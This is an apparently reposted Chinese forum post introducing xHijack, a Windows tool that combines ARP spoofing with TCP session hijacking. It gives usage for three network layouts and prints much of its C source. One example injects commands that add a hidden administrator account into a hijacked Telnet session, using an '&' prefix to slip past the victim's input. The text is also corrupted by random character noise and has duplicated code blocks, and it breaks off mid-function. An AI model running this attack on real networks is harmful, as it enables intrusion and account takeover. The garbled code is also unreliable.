再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
( y& s( J5 U* }! Q0 k6 x; C第三步就是开始劫持啦。
3 ]3 G0 v; {/ P3 }4 c
3 ?# {/ D# }% {' C' A  M1 G) s8 I, O我写了个程序xHijack可以实现第二、三步功能，使用如下:
+ k4 Q0 X  w" F( X+ I+ D
Usage: xHijack ServerSide ClientSide
  i2 e' s- I' b! q& \" g
4 C) l) A+ o4 B. Y# {( S下面根据三种不同的情况分别说明如何输入参数：
/ U2 n  y& P( r<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
, p2 R& f5 h" D  e8 ]假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
, s* x* h0 g9 E3 X6 F劫持后数据流程：server <--> hijacker <--> client

! i+ _7 K7 R5 V$ G, z& Z& Y<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
) C2 s6 e# D. }xHijack 202.202.202.2 202.202.202.1
- V- p& N4 N. Q% c( G* m劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

0 D" }. {/ {9 w/ y  F5 B+ H<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
; Y, G2 ]' j) }假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
, @0 W! j5 f3 w, Q9 n- y7 d劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
) Y, A- Z7 H0 j
输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
' m' u% `3 B! z0 K4 G, zr x       <-- Reset the number x connection
" |# h  _# L9 I: p4 E7 p( F& x) Zw x       <-- Watch the number x connection
) v6 L2 J  }8 [7 d# wh x command   <-- Hijack the number x connection to execute command

6 k) @  q0 k% X; ~# n- \' l  L3 \list、reset、watch命令我就不解释了。
0 |) p0 C. T8 w* n7 V假如现在有如下连接
  R1 j- `! E* S  N6 @" n(1) 202.202.202.202:23 <--> 192.168.0.3:2345
; w; n. s* `6 F. U" y, f5 }, C5 a我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
! Z0 x, x2 [# x% b1 _. h为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
4 [1 A/ H( O% H- |pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
4 m0 x1 P3 _; ?' G8 {) l都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
9 b. P( K4 L2 R3 S+ B! _
# Y6 a% m. p3 G% F! J) I  U) x/ ^$ ^劫持的流程如下：
; l  r2 w* W% V8 t1 e; Q1 C<1>伪装成Server给Client发一个rst包
. m$ c# _1 o" ?' D<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
3 y* j1 {* O) [: U; T$ P<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server
% K5 z8 s" @8 [, i3 b) ?) h: s
这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
: D8 P: ^2 M; k( O; H<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
( W. m( f+ D7 B5 w' T3 c! b<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。
1 A# I1 H* D0 X( d
0 u" x' t$ l5 k/ S) n5 y不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
. H: I7 x1 Q4 s& ~) Q; p
4 [# o7 ?: A: t6 Y0 M
刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
% V6 N* S8 a5 w$ J还请各位多多指点。
* p) u, @' ?: l' t5 ^& E0 S
7 O/ O6 t5 h% g' CBTW:我没有空间，编译好的程序没地方放：（
0 Z! K8 L; h/ Z0 u3 s: u

- {" U; T  R0 K0 C* q6 T9 d- {
参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
. n4 K9 z5 n. p  m* E<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377


以下是程序代码
/ h) g2 D) U- ]  [, p----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File      : xHijack.c
Version      : 1.0
! S# d: z, z5 }5 j8 z7 M0 c/ Z: ~% QCreate at    : 2002/8/12
- |+ Y+ n3 T. yLast modifed at  : 2002/8/19
Author      : eyas
, w+ B" |* e6 bEmail      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

6 U3 F$ k/ g) h备注:
<>没有考虑IP头、TCP头超过20字节的情况
5 y5 s" `7 Y9 F<>没有考虑数据包分片的情况
6 A# F" z- h! c1 @9 g<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
* e$ [1 F9 j; k0 s显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
! v0 T" Q' p1 I& R题了。
8 q% k' D) @  L6 K: u# \( S# {
/ i9 S0 [* Z- l- s; K4 P$ a, e也许下一版本会修正这些问题，也许不会有下一版本了。

' ~7 u+ h9 x* d7 m9 i-----------------------------------------------------------------------------*/
#include
( g- p3 A3 g( J2 B#include
#include
* O: j: P& s6 z#include
#include
0 `$ k6 w) K% {' z9 I# v: I#include
3 E& e& Q& r9 _8 G! b4 I. c#include
  C- h4 ~8 E1 ]' s
#pragma comment (lib, "packet")
2 Q- O4 ]( m- ]. l  H8 |#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
/ s1 J9 L4 u) B; L#define Max_Num_IPAddr  5
#define EPT_IP      0x0800      /* type: IP  */
, p+ D. l! I2 ^1 [5 E$ U  V& V8 k, ~#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */
6 P+ f+ @4 l2 `# [) [
5 k4 b0 I- M. R9 G& o" F#define  ACTION_NONE    0
+ K: y2 _; L3 h5 X  J#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3
. s" g. y" y/ z
  `1 Z5 U% l* j) D' s; c/*以1字节对齐*/
#pragma pack(1)
* G( {( j- j* S9 \: M1 G( Btypedef struct _ehhdr
( b$ s" k6 i, V/ k: X  u{
' Q5 V. W2 j7 p- y! A7 H$ v! t  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;

* T2 @! t6 M! S! g; gtypedef struct _iphdr        //定义IP首部
/ j5 F' `' t# B. F" W{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
) H5 Q7 T" u0 `- n  b- n  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
, b+ A  E% c% M- x1 ]6 `  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
; ?8 s7 `: X4 f1 d  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
) Z- Q5 z( }6 U/ J7 C}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
5 j# ]$ o% k3 I! |) s5 f8 O{
  USHORT th_sport;        //16位源端口
) t5 C4 N9 B0 H  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
, C  S) E) x; M* r9 x  unsigned int th_ack;      //32位确认号
( L5 o8 D5 h" K' i. q" p1 i$ E' }  unsigned char th_lenres;    //4位首部长度/6位保留字
! h* e+ Z3 B9 N+ W5 r  unsigned char th_flag;      //6位标志位
8 ]1 o( q$ Q; s. c; i+ [) `5 l0 N4 t  USHORT th_win;          //16位窗口大小
2 j% m( t4 t9 p+ C- ?5 ~2 u  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
. w2 J) k; {: T6 e. `{               
  unsigned long saddr;
5 i; Y* M, ]5 a# w  unsigned long daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
1 e( c) j( d( v. _7 q}PSDHDR, *PPSDHDR;
  L. H$ P4 s5 e; t  S. y; Z% e
7 t) V4 ?" ]& B  Etypedef struct _arphdr
& k) b1 O5 Y3 w$ m( e7 b{
8 I1 i& ^8 K" Q5 X6 n  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
: A7 g  x, E$ i4 E- A  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
; e8 Z! o/ m; I  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;
  [# Q" }6 @9 g+ A
# e( V; c% V; d/ e) a/ e2 l- ytypedef struct _ArpPacket
8 q; D0 A2 L$ R) b$ o{
  EHHDR  ehhdr;
2 g- }; W- \* `. j6 G" x3 ]  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;
3 A" p& {' Q# E. z1 b/ @
typedef struct _tcppacket
, Q- R0 Q2 _7 P3 `{
& Z4 {* ]0 r0 S) X/ w# f# \  EHHDR  ehhdr;
7 {6 h6 ^* O8 t  IPHDR  iphdr;
! }; Z' X/ Z+ `9 S  TCPHDR  tcphdr;
" [7 n( O+ O" Y- u1 M+ N  Y7 G6 L) _}TCPPACKET, *PTCPPACKET;

1 n. ]$ c7 r( l0 x9 @8 c. Wtypedef struct _conninfo
3 D; {1 W" ^/ X3 E" y0 |: B; F{
7 s! c: q. [0 t# U7 ~" l/ j$ p  DWORD  dwServerIP;
2 O& M# P3 z; ?  `. a  USHORT  uServerPort;
& }) n; i) H8 ]6 U3 ]+ s  DWORD  dwClientIP;
  USHORT  uClientPort;
4 ~6 m9 [( [8 Q; ~% Q6 e' }  DWORD  ident;//标识
  BOOL  bActive;
  f% a4 x' z% t- a  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;
' h. i$ H1 }7 g( {) f' \! c
6 Z0 d' t) f  g) w( H//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
+ b$ |+ v9 V* `& c( N6 P        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
3 x0 \( C, _- zunsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
: N+ k0 `6 F4 `char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
5 d$ h& u( X" s  z4 {( F# JLPADAPTER    g_lpAdapter;
) A% b# L. p6 @" w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
0 D) M: Q) @8 A# v5 L3 |: X; y0 ZHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
" z. q' a1 p6 u6 PDWORD      g_dwAction;//action type
. [( _: q! f7 b% @9 RDWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
- }% C3 N$ R( B9 G) @3 F        g_pConnHead = NULL,
9 X' K" H$ [( E% w) R& Z        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
void      usage(void);
; [, y1 \3 C$ F: wvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
) }* B0 ~; y# p1 b; ovoid      ResetActionAllFlag();
0 t" Q9 c# p. F( p+ v2 s6 zUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
3 Y7 v9 i, W6 P2 ]1 b2 B$ w, y2 Q& ]LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
4 T! w& {8 q4 ?& D6 @! `$ rDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
0 L" G. T- W, y: T3 v! RDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
! h& e; H) D& d& y/ K* {DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
: r; I- M, x: w/ V. n7 R7 uDWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);



3 R4 C3 T" Z7 s" o0 X5 I; ^int main(int argc, char **argv)
' j$ A8 J$ L/ h# d{
  struct    bpf_stat stat;
  int      i;
2 U* [  b  v0 s4 k. a
4 l% m; a* p8 F# F# j& m  usage();
" O% _; S# s, A( M  if (argc != 3) return 0;
2 A, O: V2 m/ s# K/ Z  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
- l" u  F+ x% S  e  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
* z( C) b5 s9 n0 v* q  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
# E& O5 q" U2 a  //get ServerSide MAC & ClientSide MAC
: V9 D) m: Q& G2 u5 P3 D' k  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread     
: G) l- _0 ?7 i: {" |  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
8 t2 Y8 x  u  q$ `1 v5 E2 Z: Z( W  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
, }* H& D+ P- W) t1 D' v& {  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
; ?5 f) @4 x& [! G- A, t5 l    return 0;
6 A, ]* E2 O* [( a$ Q  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
9 p7 b2 ^. _' m+ T/ o% V    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
( v8 j& y' d) |# K4 d  return 0;
- ?3 \/ x) O1 w) u/ d. K}
3 s$ d  g% }- D0 F% g
//
//功能：重置所有于ACTION有关的标志
7 J4 f0 P8 l3 G8 s* Q: ]//

韩冰

unsigned int  g_ServerSideIP,
; h! U& f! [, ~7 S0 V$ D. m  y        g_ClientSideIP,
- }( Q& J2 J# I        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
( x: g% M5 A' O; C0 [% Q+ runsigned char  g_szClientSideMAC[6];
( ~" s5 m; C# b; R$ Uunsigned char  g_szServerSideMAC[6];
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
3 t1 i) d( m' [4 q  A! h//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
2 D2 Q3 y% v4 w1 ?$ X/ Ochar      g_szCommand[128];//command to execute after hijack
4 ?# h- ^+ H4 SDWORD      g_dwAction;//action type
DWORD      g_dwCtrlConn;//action 所控制连接的标识
' Y' X1 _1 i3 `0 j4 p9 [6 a% [: ]DWORD      g_ident;//节点标识，递增
+ W, a$ m5 W. ^( F) dPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
+ [& \9 y  p7 N) D7 M  ~) Y        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
  D$ Z6 e) E# U- M4 O3 ?LPPACKET    g_lpSendPacket;
7 A$ L+ g" T" S0 ]: T- h; M' O//函数
6 H$ X1 Y- j$ h" d/ z1 G- o8 c/ ^& Fvoid      usage(void);
0 e( ^# J9 O+ H& c6 @void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
' Z* `( Y, I5 A6 @void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
. l* i% @. @( X3 lBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
0 P' L2 R' a. t* \. t) fBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
1 G% D* ^/ R7 X8 N% A. h' S3 @% wDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
: \7 T& h9 J; hDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
$ [& `; g, c% O6 wDWORD  WINAPI  InterfaceThread(LPVOID);//
$ n% I% O9 q* Z7 Q7 u! K# vBOOL  WINAPI  CtrlEvent(DWORD);
0 M4 ^( b; i) T; j

0 o& r  Q7 O/ F) C2 v9 a7 c
int main(int argc, char **argv)
) I7 n; x% D# o. \3 p% t& Y6 E{
( t) T" Z' H! Z' y  f* P  struct    bpf_stat stat;
  int      i;
! `: U& E9 t7 A3 r( }. e
  usage();
; U( ?6 l" ^+ \7 ?5 v: H& l  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
0 ^4 S) V+ w4 e% z. I/ b  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ z. j% x6 o  Z4 b. y7 K/ \- G! C  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, l" o, C2 k) M0 B' L. i( z0 N  //create arp spoof thread     
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
, p+ |9 b/ f! g7 W0 ~: L  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
( G  T9 X% O6 i, F6 n' [8 a  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
: o6 P  {* H9 d- M( S7 d' r! J2 s9 c  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
: R( R4 e" G+ a' H! H& t  F  //set console ctrl handle
. Q% ~' |, f; m7 Z  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
+ C/ ~1 z) k) W  q% u2 ~8 S5 d  {
- u6 J# Z. `# W& W    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
+ O; v7 I! u6 ]! x+ X2 O( ^6 }- |  }
2 {# l% o- S; w2 u1 \& D8 p. W) r  //wait for any thread exit
0 X9 p* L/ L; c' Q( X  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
9 J3 `6 U* a. ^: [+ [  //print the capture statistics
4 |, g, K  s, {* Q  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
  PacketFreePacket(g_lpSendPacket);
8 H$ _7 t. @+ ~+ }  PacketCloseAdapter(g_lpAdapter);
5 x( F, M0 |% r7 d1 \  return 0;
! O& y' @6 D  U8 G& _1 P7 K- n0 B; R}
, L6 V' B6 {) C, o: ^
//
//功能：重置所有于ACTION有关的标志
" P% Z5 F% Q* B2 G2 x//

韩冰

void ResetActionAllFlag()
; g' x" F( |2 {. }{
) \3 D" V* Q6 C  g_dwCtrlConn = 0;
6 N9 A; @% l9 Z. q( X  g_pCurrCtrlConn = NULL;
+ a5 `  ?( M: o" r' s& x  g_dwAction = ACTION_NONE;
}

# D5 x) e% J$ S% T9 n//
- C  j, t/ K% @8 i7 o4 ^& b) l//功能：处理Ctrl+C和Ctrl+Break事件
//
% H5 x4 y' B9 q, ZBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
    case CTRL_BREAK_EVENT:
      //reset action all flag
      ResetActionAllFlag();
      break;
    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread[0], 0);
; i/ d5 B/ Y+ p" L) K( O- W5 M      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
" L7 J+ n* S9 U; q  q4 W      TerminateThread(g_hThread[3], 0);
7 ]% f* |% B# t& J/ R6 g      break;
7 h3 F9 |2 C; X7 d) o    default:
      break;
! q( p; O) @( N6 }  }
  return TRUE;
7 i# A2 V; h# ^4 f! f7 r}

//
% E3 P; x2 K, h2 g& ^//功能：处理用户输入
! T/ I" t, ?, W//
  z* _/ t) G9 XDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
* a5 ?9 w7 k" q- t# b" u2 a# S{
  J: E+ n) b* |  DWORD  i;
  char  szBuff[16];

  *lpCommandPos = 0;
4 ]7 k( F5 Z, h% f  Q0 y: Q  for(i=0; i<15, i代码比较乱
//
! Q& q4 T* n. T% [/ f$ jDWORD WINAPI InterfaceThread(LPVOID lp)
  o$ Z& i8 y; z  t{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
            "r x\t\t<-- Reset the number x connection\n"
            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
            "[Note]\n"
            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
8 l3 Y: [+ O; r  Q3 ^  char  szPrompt[] = "\nxHijack>";
1 N% q; ]+ g) T9 w  char  szBuffer[128];
( W9 C; S& D4 O) X8 q  DWORD  dwPos;
* ]' v) I( p" N/ @/ ~# X. z  W  PCONNINFO  pTmp;
$ M4 n" C; y7 x, K0 D
+ N9 i0 _( Z* I8 u- n6 g, g" Q  while(1)
* `$ m* t& P# ^3 c1 |  {
+ n3 n3 G- u- R, W9 t1 X2 w    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
    {
; w  u% l4 i% R$ G( s6 f: k$ @      case 'l':
      case 'L':
( E1 `- }% g5 ]& k3 I1 k/ r        ListAllConnection();
        break;
      case 'r':
& G8 }3 @* O. m8 K: ~      case 'R':
        if(strlen(szBuffer) >2)
/ w) e2 h2 r9 f        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_RESET;
        }
5 }6 F! H. C$ ?1 M. \# @        else printf("%s", szHelp);
+ e9 d3 Y3 V6 O# n) _3 l# X3 w7 p        break;
" C3 H1 @3 T( l# p; x      case 'w':
5 x4 r' @. e$ X+ z/ j; I1 l! L      case 'W':
3 l+ o; h8 j9 C" i: x        if(strlen(szBuffer) > 2)
        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
2 j& T4 Y: p# ~* ]1 g        break;
      case 'h':
, Q# W9 n" D" T! K' k      case 'H'://h 1 xxx
        if(strlen(szBuffer) > 5)
        {
! D; J1 d9 W& o  m% a$ r0 {2 B          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
: o& o% }6 n% R% M- J          //如果command第一个字符是'或"
3 F6 H! O* {% U, z# a5 T; p- `: O8 h          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
0 ]1 C6 z/ i& E5 N$ o; T          {
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
, K- `4 W) `- Q& j# U+ w            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
          }
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
; @4 q% T& }/ q+ I- g          g_dwAction = ACTION_HIJACK;
. J9 J( N7 s1 n: I/ R! g0 G        }
        else printf("%s", szHelp);
" m2 H2 [3 I+ E9 J        break;
4 `! @+ `5 @4 v      default:
% f' X) n1 T# C  u" i        printf("%s", szHelp);
        break;
    }//end of switch
$ b) R8 j5 P+ E    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
7 l3 }+ a  S- U% V. P3 b; F    {
      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
      while(pTmp)
" W1 C4 e! a% z) c2 V3 w3 G      {
% @; l- i3 V2 z1 t        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
5 U6 _4 b5 D" p3 _' Z        {
          g_pCurrCtrlConn = pTmp;
          break;
        }
8 u3 v9 K+ n5 ~; a( @3 q) C        pTmp = pTmp->Next;
; g; x# K" F! e' g1 c      }
/ P& J# D& p$ ]7 P! @$ l) A      if(!g_pCurrCtrlConn)
$ y7 R/ g% u% w7 e      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
0 M2 N" p; q0 o$ F        //reset action all flag
        ResetActionAllFlag();      
: G" _0 i0 E0 c$ N( q: L; a; E      }
7 V2 L1 S/ @4 b/ j6 R& D    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
    switch(g_dwAction)
    {
8 N3 ~) |: S* v' A. e8 i% ^# z      case ACTION_WATCH:
5 Y2 ?/ }9 b6 K) v9 ^$ D        printf("ACTION_WATCH");
        break;
0 k# c, n- }& \      case ACTION_RESET:
) f/ _- R; Z4 I/ M' I        printf("ACTION_RESET");
) }1 X7 s: W# v" T7 U        break;
0 a8 V4 ~: ~* }      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
# n, D! F* n% r- D: H3 M" J        break;
* H3 b/ E/ L3 Z" @- e$ f      default:
4 T8 Z6 p) B4 X        printf("ACTION_NONE");
        break;
    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
# h1 w0 F! |" |}

韩冰

// ( {% i& K7 w' U' b5 e- ]% U7 l! {//功能：列出当前所有连接 // void ListAllConnection() + g4 c0 V( O1 t% g& N& ]/ O{ PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; 2 Q1 n1 t/ b; f; _' o while(pTmp) { if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ; E+ y! k" {% O N+ E+ [ ntohs(pTmp->uServerPort)); - s. O* D# j. F) {/ W" \) F printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } . _9 d3 g7 A; Z. P0 ?3 Y} ! k) v' M" ~2 a) u3 f// //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // & N* o5 j% Q* H5 J6 cLPADAPTER InitAdapter() ) Q( M$ r/ M. \+ h4 Q; l{ LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; 8 G/ G8 j) k, b1 U& Q char szSelectAdapterName[512]; ( Y9 X; U, j2 s) ]& ~" F ~ WCHAR AdapterName[2048]; & e" i2 M2 M! q1 |) |1 C WCHAR *temp,*temp1; 2 I4 |2 I. M" s ULONG AdapterLength = 1024; int iAdapterNum = 0; 1 d% Y0 S( r" `- |6 L9 ? int iRetCode, i; : [3 Y+ h+ m, V: c) o2 R9 I" c$ m int iAdapter = 0; ULONG ulLen = 0; 7 T# O% {) P) S9 c' {2 y# S" D% } DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; 9 r6 w* c" H$ X; z ! J. e: x0 K( _% \# Z //Get The list of Adapter 